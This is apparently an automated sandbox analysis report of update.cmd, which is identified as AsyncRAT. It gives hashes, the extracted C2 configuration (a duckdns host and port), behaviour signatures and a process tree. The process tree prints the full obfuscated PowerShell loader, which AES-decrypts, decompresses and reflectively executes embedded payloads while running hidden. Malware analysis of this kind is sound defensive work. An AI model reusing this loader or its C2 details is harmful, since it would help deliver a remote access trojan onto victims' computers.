Analysis

  • max time kernel
    136s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 18:36

General

  • Target

    update.cmd

  • Size

    91KB

  • MD5

    981e0374ab07b58ea53823122fe91be7

  • SHA1

    a162c8fac692cf34db330384f577f017fa003751

  • SHA256

    56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d

  • SHA512

    edb3d2b49fd93462e12f6b67a9c476fdc4c085e684f127b110802d15545f2d62531239992fc21c07e2716a287da17b1efeaa150deb902c17bf59461be52a1043

  • SSDEEP

    1536:W0Lad++Lr2vjYZRs6LTKZLZLNcUYv20oARdg59+AMlreZ3lVcJLhRMDTaPi2+YpA:VWsaLmZCtC9+plrS1VwLrME+Y6

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

dhhj.duckdns.org:8797

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\update.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\system32\cmd.exe
      cmd /c "set __=^&rem"
      2⤵
        PID:1300
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OQQuw=New-Object System.IO.MemoryStream(,$param_var); $eDfzX=New-Object System.IO.MemoryStream; $Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress); $Pftxr.CopyTo($eDfzX); $Pftxr.Dispose(); $OQQuw.Dispose(); $eDfzX.Dispose(); $eDfzX.ToArray();}function execute_function($param_var,$param2_var){ $umdfJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wCVTW=$umdfJ.EntryPoint; $wCVTW.Invoke($null, $param2_var);}$yEoUp = 'C:\Users\Admin\AppData\Local\Temp\update.cmd';$host.UI.RawUI.WindowTitle = $yEoUp;$BlEZh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yEoUp).Split([Environment]::NewLine);foreach ($vQXry in $BlEZh) { if ($vQXry.StartsWith('uuoNTGQdmxGwoNrYAGxC')) { $NjUsU=$vQXry.Substring(20); break; }}$payloads_var=[string[]]$NjUsU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:1064
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
          2⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3320

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ntywvmfa.zqm.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/3320-20-0x0000000006E50000-0x0000000006E94000-memory.dmp

        Filesize

        272KB

      • memory/3320-34-0x0000000074D30000-0x00000000754E0000-memory.dmp

        Filesize

        7.7MB

      • memory/3320-19-0x0000000006990000-0x00000000069DC000-memory.dmp

        Filesize

        304KB

      • memory/3320-4-0x0000000074D30000-0x00000000754E0000-memory.dmp

        Filesize

        7.7MB

      • memory/3320-5-0x0000000005A10000-0x0000000005A32000-memory.dmp

        Filesize

        136KB

      • memory/3320-6-0x0000000006230000-0x0000000006296000-memory.dmp

        Filesize

        408KB

      • memory/3320-7-0x00000000062A0000-0x0000000006306000-memory.dmp

        Filesize

        408KB

      • memory/3320-1-0x0000000003320000-0x0000000003356000-memory.dmp

        Filesize

        216KB

      • memory/3320-17-0x0000000006310000-0x0000000006664000-memory.dmp

        Filesize

        3.3MB

      • memory/3320-21-0x0000000007BF0000-0x0000000007C66000-memory.dmp

        Filesize

        472KB

      • memory/3320-3-0x0000000074D30000-0x00000000754E0000-memory.dmp

        Filesize

        7.7MB

      • memory/3320-2-0x0000000005A90000-0x00000000060B8000-memory.dmp

        Filesize

        6.2MB

      • memory/3320-18-0x00000000068E0000-0x00000000068FE000-memory.dmp

        Filesize

        120KB

      • memory/3320-23-0x0000000007C90000-0x0000000007CAA000-memory.dmp

        Filesize

        104KB

      • memory/3320-22-0x00000000082F0000-0x000000000896A000-memory.dmp

        Filesize

        6.5MB

      • memory/3320-24-0x0000000007D90000-0x0000000007DA0000-memory.dmp

        Filesize

        64KB

      • memory/3320-25-0x0000000007DC0000-0x0000000007DD2000-memory.dmp

        Filesize

        72KB

      • memory/3320-26-0x0000000007DE0000-0x0000000007DF2000-memory.dmp

        Filesize

        72KB

      • memory/3320-29-0x000000000A970000-0x000000000AA0C000-memory.dmp

        Filesize

        624KB

      • memory/3320-30-0x000000000AFC0000-0x000000000B564000-memory.dmp

        Filesize

        5.6MB

      • memory/3320-32-0x0000000074D3E000-0x0000000074D3F000-memory.dmp

        Filesize

        4KB

      • memory/3320-33-0x0000000074D30000-0x00000000754E0000-memory.dmp

        Filesize

        7.7MB

      • memory/3320-0-0x0000000074D3E000-0x0000000074D3F000-memory.dmp

        Filesize

        4KB